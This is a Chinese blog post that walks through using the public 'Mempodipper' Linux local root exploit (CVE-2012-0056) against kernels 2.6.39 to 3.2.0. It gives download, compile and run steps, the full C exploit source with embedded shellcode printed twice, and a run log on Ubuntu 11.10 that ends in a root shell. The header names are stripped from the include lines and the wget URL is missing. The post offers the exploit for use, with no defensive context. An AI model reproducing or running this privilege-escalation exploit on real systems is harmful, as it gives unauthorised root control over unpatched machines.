Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1437060
  • 博文数量: 463
  • 博客积分: 10540
  • 博客等级: 上将
  • 技术积分: 5450
  • 用 户 组: 普通用户
  • 注册时间: 2006-11-12 08:30
文章分类

全部博文(463)

文章存档

2014年(2)

2012年(14)

2011年(42)

2010年(18)

2009年(78)

2008年(35)

2007年(182)

2006年(92)

我的朋友

分类: 网络与安全

2012-07-05 09:40:04

Linux 2.6.39 到 3.2.0 提权漏洞利用
 
1.下载漏洞利用文件
wget
 
[[mempodipper.c]]
/*
 * Mempodipper
 * by zx2c4
 *
 * Linux Local Root Exploit
 *
 * Rather than put my write up here, per usual, this time I've put it
 * in a rather lengthy blog post: http://blog.zx2c4.com/749
 *
 * Enjoy.
 *
 * - zx2c4
 * Jan 21, 2012
 *
 * CVE-2012-0056
 */
#define _LARGEFILE64_SOURCE
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
char *prog_name;
int send_fd(int sock, int fd)
{
 char buf[1];
 struct iovec iov;
 struct msghdr msg;
 struct cmsghdr *cmsg;
 int n;
 char cms[CMSG_SPACE(sizeof(int))];
 buf[0] = 0;
 iov.iov_base = buf;
 iov.iov_len = 1;
 memset(&msg, 0, sizeof msg);
 msg.msg_iov = &iov;
 msg.msg_iovlen = 1;
 msg.msg_control = (caddr_t)cms;
 msg.msg_controllen = CMSG_LEN(sizeof(int));
 cmsg = CMSG_FIRSTHDR(&msg);
 cmsg->cmsg_len = CMSG_LEN(sizeof(int));
 cmsg->cmsg_level = SOL_SOCKET;
 cmsg->cmsg_type = SCM_RIGHTS;
 memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
 if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
  return -1;
 close(sock);
 return 0;
}
int recv_fd(int sock)
{
 int n;
 int fd;
 char buf[1];
 struct iovec iov;
 struct msghdr msg;
 struct cmsghdr *cmsg;
 char cms[CMSG_SPACE(sizeof(int))];
 
 iov.iov_base = buf;
 iov.iov_len = 1;
 memset(&msg, 0, sizeof msg);
 msg.msg_name = 0;
 msg.msg_namelen = 0;
 msg.msg_iov = &iov;
 msg.msg_iovlen = 1;
 msg.msg_control = (caddr_t)cms;
 msg.msg_controllen = sizeof cms;
 if ((n = recvmsg(sock, &msg, 0)) < 0)
  return -1;
 if (n == 0)
  return -1;
 cmsg = CMSG_FIRSTHDR(&msg);
 memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
 close(sock);
 return fd;
}
unsigned long ptrace_address()
{
 int fd[2];
 printf("[+] Creating ptrace pipe.\n");
 pipe(fd);
 fcntl(fd[0], F_SETFL, O_NONBLOCK);
 printf("[+] Forking ptrace child.\n");
 int child = fork();
 if (child) {
  close(fd[1]);
  char buf;
  printf("[+] Waiting for ptraced child to give output on syscalls.\n");
  for (;;) {
   wait(NULL);
   if (read(fd[0], &buf, 1) > 0)
    break;
   ptrace(PTRACE_SYSCALL, child, NULL, NULL);
  }
  
  printf("[+] Error message written. Single stepping to find address.\n");
  struct user_regs_struct regs;
  for (;;) {
   ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
   wait(NULL);
   ptrace(PTRACE_GETREGS, child, NULL, ®s);
#if defined(__i386__)
#define instruction_pointer regs.eip
#define upper_bound 0xb0000000
#elif defined(__x86_64__)
#define instruction_pointer regs.rip
#define upper_bound 0x700000000000
#else
#error "That platform is not supported."
#endif
   if (instruction_pointer < upper_bound) {
    unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer,
NULL);
    if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */)
     return instruction_pointer;
   }
  }
 } else {
  printf("[+] Ptrace_traceme'ing process.\n");
  if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
   perror("[-] ptrace");
   return 0;
  }
  close(fd[0]);
  dup2(fd[1], 2);
  execl("/bin/su", "su", "not-a-valid-user", NULL);
 }
 return 0;
}
unsigned long objdump_address()
{
 FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*
", "r");
 if (!command) {
  perror("[-] popen");
  return 0;
 }
 char result[32];
 fgets(result, 32, command);
 pclose(command);
 return strtoul(result, NULL, 16);
}
unsigned long find_address()
{
 printf("[+] Ptracing su to find next instruction without reading binary.\n");
 unsigned long address = ptrace_address();
 if (!address) {
  printf("[-] Ptrace failed.\n");
  printf("[+] Reading su binary with objdump to find ");
  address = objdump_address();
  if (address == ULONG_MAX || !address) {
   printf("[-] Could not resolve /bin/su. Specify the function address manually.\n");
   printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name);
   exit(-1);
  }
 }
 printf("[+] Resolved call address to 0x%lx.\n", address);
 return address;
}
int su_padding()
{
 printf("[+] Calculating su padding.\n");
 FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
 if (!command) {
  perror("[-] popen");
  exit(1);
 }
 char result[256];
 fgets(result, 256, command);
 pclose(command);
 return strstr(result, "this-user-does-not-exist") - result;
}
int child(int sock)
{
 char parent_mem[256];
 sprintf(parent_mem, "/proc/%d/mem", getppid());
 printf("[+] Opening parent mem %s in child.\n", parent_mem);
 int fd = open(parent_mem, O_RDWR);
 if (fd < 0) {
  perror("[-] open");
  return 1;
 }
 printf("[+] Sending fd %d to parent.\n", fd);
 send_fd(sock, fd);
 return 0;
}
int parent(unsigned long address)
{
 int sockets[2];
 printf("[+] Opening socketpair.\n");
 if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
  perror("[-] socketpair");
  return 1;
 }
 if (fork()) {
  printf("[+] Waiting for transferred fd in parent.\n");
  int fd = recv_fd(sockets[1]);
  printf("[+] Received fd at %d.\n", fd);
  if (fd < 0) {
   perror("[-] recv_fd");
   return 1;
  }
  printf("[+] Assigning fd %d to stderr.\n", fd);
  dup2(2, 15);
  dup2(fd, 2);
  unsigned long offset = address - su_padding();
  printf("[+] Seeking to offset 0x%lx.\n", offset);
  lseek64(fd, offset, SEEK_SET);
  
#if defined(__i386__)
  // See shellcode-32.s in this package for the source.
  char shellcode[] =
   "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
   "\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
   "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
   "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
   "\x80";
#elif defined(__x86_64__)
  // See shellcode-64.s in this package for the source.
  char shellcode[] =
   "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
   "\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
   "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
   "\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
   "\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
#else
#error "That platform is not supported."
#endif
  printf("[+] Executing su with shellcode.\n");
  execl("/bin/su", "su", shellcode, NULL);
 } else {
  char sock[32];
  sprintf(sock, "%d", sockets[0]);
  printf("[+] Executing child from child fork.\n");
  execl("/proc/self/exe", prog_name, "-c", sock, NULL);
 }
 return 0;
}
int main(int argc, char **argv)
{
 prog_name = argv[0];
 
 if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')
  return child(atoi(argv[2]));
 
 printf("===============================\n");
 printf("=          Mempodipper        =\n");
 printf("=           by zx2c4          =\n");
 printf("=         Jan 21, 2012        =\n");
 printf("===============================\n\n");
 
 if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
  return parent(strtoul(argv[2], NULL, 16));
 else
  return parent(find_address());
 
}
 

[[mempodipper.c]]
 
2.编译
gcc mempodipper.c -o mempodipper
 
3.执行前察看
uname -r
3.0.0-12-generic
cat /etc/issue
Ubuntu 11.10 n l
uname -a
Linux netcat 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686 i686 i386 GNU/Linux
id
uid=1000(netcat) gid=1000(netcat) 组=1000(netcat),4(adm),20(dialout),24(cdrom),46(plugdev),116(lpadmin),118
(admin),124(sambashare)
 
4.执行
./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme’ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0×8049570.
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/3012/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0×8049564.
[+] Executing su with shellcode.
sh-4.2#
 
 
 
 
 
 
 
 
 
 
 
 
mempodipper.c
 
/*
 * Mempodipper
 * by zx2c4
 *
 * Linux Local Root Exploit
 *
 * Rather than put my write up here, per usual, this time I've put it
 * in a rather lengthy blog post: http://blog.zx2c4.com/749
 *
 * Enjoy.
 *
 * - zx2c4
 * Jan 21, 2012
 *
 * CVE-2012-0056
 */
#define _LARGEFILE64_SOURCE
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
char *prog_name;
int send_fd(int sock, int fd)
{
 char buf[1];
 struct iovec iov;
 struct msghdr msg;
 struct cmsghdr *cmsg;
 int n;
 char cms[CMSG_SPACE(sizeof(int))];
 buf[0] = 0;
 iov.iov_base = buf;
 iov.iov_len = 1;
 memset(&msg, 0, sizeof msg);
 msg.msg_iov = &iov;
 msg.msg_iovlen = 1;
 msg.msg_control = (caddr_t)cms;
 msg.msg_controllen = CMSG_LEN(sizeof(int));
 cmsg = CMSG_FIRSTHDR(&msg);
 cmsg->cmsg_len = CMSG_LEN(sizeof(int));
 cmsg->cmsg_level = SOL_SOCKET;
 cmsg->cmsg_type = SCM_RIGHTS;
 memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
 if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
  return -1;
 close(sock);
 return 0;
}
int recv_fd(int sock)
{
 int n;
 int fd;
 char buf[1];
 struct iovec iov;
 struct msghdr msg;
 struct cmsghdr *cmsg;
 char cms[CMSG_SPACE(sizeof(int))];
 
 iov.iov_base = buf;
 iov.iov_len = 1;
 memset(&msg, 0, sizeof msg);
 msg.msg_name = 0;
 msg.msg_namelen = 0;
 msg.msg_iov = &iov;
 msg.msg_iovlen = 1;
 msg.msg_control = (caddr_t)cms;
 msg.msg_controllen = sizeof cms;
 if ((n = recvmsg(sock, &msg, 0)) < 0)
  return -1;
 if (n == 0)
  return -1;
 cmsg = CMSG_FIRSTHDR(&msg);
 memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
 close(sock);
 return fd;
}
unsigned long ptrace_address()
{
 int fd[2];
 printf("[+] Creating ptrace pipe.\n");
 pipe(fd);
 fcntl(fd[0], F_SETFL, O_NONBLOCK);
 printf("[+] Forking ptrace child.\n");
 int child = fork();
 if (child) {
  close(fd[1]);
  char buf;
  printf("[+] Waiting for ptraced child to give output on syscalls.\n");
  for (;;) {
   wait(NULL);
   if (read(fd[0], &buf, 1) > 0)
    break;
   ptrace(PTRACE_SYSCALL, child, NULL, NULL);
  }
  
  printf("[+] Error message written. Single stepping to find address.\n");
  struct user_regs_struct regs;
  for (;;) {
   ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
   wait(NULL);
   ptrace(PTRACE_GETREGS, child, NULL, ®s);
#if defined(__i386__)
#define instruction_pointer regs.eip
#define upper_bound 0xb0000000
#elif defined(__x86_64__)
#define instruction_pointer regs.rip
#define upper_bound 0x700000000000
#else
#error "That platform is not supported."
#endif
   if (instruction_pointer < upper_bound) {
    unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer,
NULL);
    if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */)
     return instruction_pointer;
   }
  }
 } else {
  printf("[+] Ptrace_traceme'ing process.\n");
  if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
   perror("[-] ptrace");
   return 0;
  }
  close(fd[0]);
  dup2(fd[1], 2);
  execl("/bin/su", "su", "not-a-valid-user", NULL);
 }
 return 0;
}
unsigned long objdump_address()
{
 FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*
", "r");
 if (!command) {
  perror("[-] popen");
  return 0;
 }
 char result[32];
 fgets(result, 32, command);
 pclose(command);
 return strtoul(result, NULL, 16);
}
unsigned long find_address()
{
 printf("[+] Ptracing su to find next instruction without reading binary.\n");
 unsigned long address = ptrace_address();
 if (!address) {
  printf("[-] Ptrace failed.\n");
  printf("[+] Reading su binary with objdump to find ");
  address = objdump_address();
  if (address == ULONG_MAX || !address) {
   printf("[-] Could not resolve /bin/su. Specify the function address manually.\n");
   printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name);
   exit(-1);
  }
 }
 printf("[+] Resolved call address to 0x%lx.\n", address);
 return address;
}
int su_padding()
{
 printf("[+] Calculating su padding.\n");
 FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
 if (!command) {
  perror("[-] popen");
  exit(1);
 }
 char result[256];
 fgets(result, 256, command);
 pclose(command);
 return strstr(result, "this-user-does-not-exist") - result;
}
int child(int sock)
{
 char parent_mem[256];
 sprintf(parent_mem, "/proc/%d/mem", getppid());
 printf("[+] Opening parent mem %s in child.\n", parent_mem);
 int fd = open(parent_mem, O_RDWR);
 if (fd < 0) {
  perror("[-] open");
  return 1;
 }
 printf("[+] Sending fd %d to parent.\n", fd);
 send_fd(sock, fd);
 return 0;
}
int parent(unsigned long address)
{
 int sockets[2];
 printf("[+] Opening socketpair.\n");
 if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
  perror("[-] socketpair");
  return 1;
 }
 if (fork()) {
  printf("[+] Waiting for transferred fd in parent.\n");
  int fd = recv_fd(sockets[1]);
  printf("[+] Received fd at %d.\n", fd);
  if (fd < 0) {
   perror("[-] recv_fd");
   return 1;
  }
  printf("[+] Assigning fd %d to stderr.\n", fd);
  dup2(2, 15);
  dup2(fd, 2);
  unsigned long offset = address - su_padding();
  printf("[+] Seeking to offset 0x%lx.\n", offset);
  lseek64(fd, offset, SEEK_SET);
  
#if defined(__i386__)
  // See shellcode-32.s in this package for the source.
  char shellcode[] =
   "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
   "\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
   "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
   "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
   "\x80";
#elif defined(__x86_64__)
  // See shellcode-64.s in this package for the source.
  char shellcode[] =
   "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
   "\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
   "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
   "\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
   "\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
#else
#error "That platform is not supported."
#endif
  printf("[+] Executing su with shellcode.\n");
  execl("/bin/su", "su", shellcode, NULL);
 } else {
  char sock[32];
  sprintf(sock, "%d", sockets[0]);
  printf("[+] Executing child from child fork.\n");
  execl("/proc/self/exe", prog_name, "-c", sock, NULL);
 }
 return 0;
}
int main(int argc, char **argv)
{
 prog_name = argv[0];
 
 if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')
  return child(atoi(argv[2]));
 
 printf("===============================\n");
 printf("=          Mempodipper        =\n");
 printf("=           by zx2c4          =\n");
 printf("=         Jan 21, 2012        =\n");
 printf("===============================\n\n");
 
 if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
  return parent(strtoul(argv[2], NULL, 16));
 else
  return parent(find_address());
 
}
 
阅读(1755) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~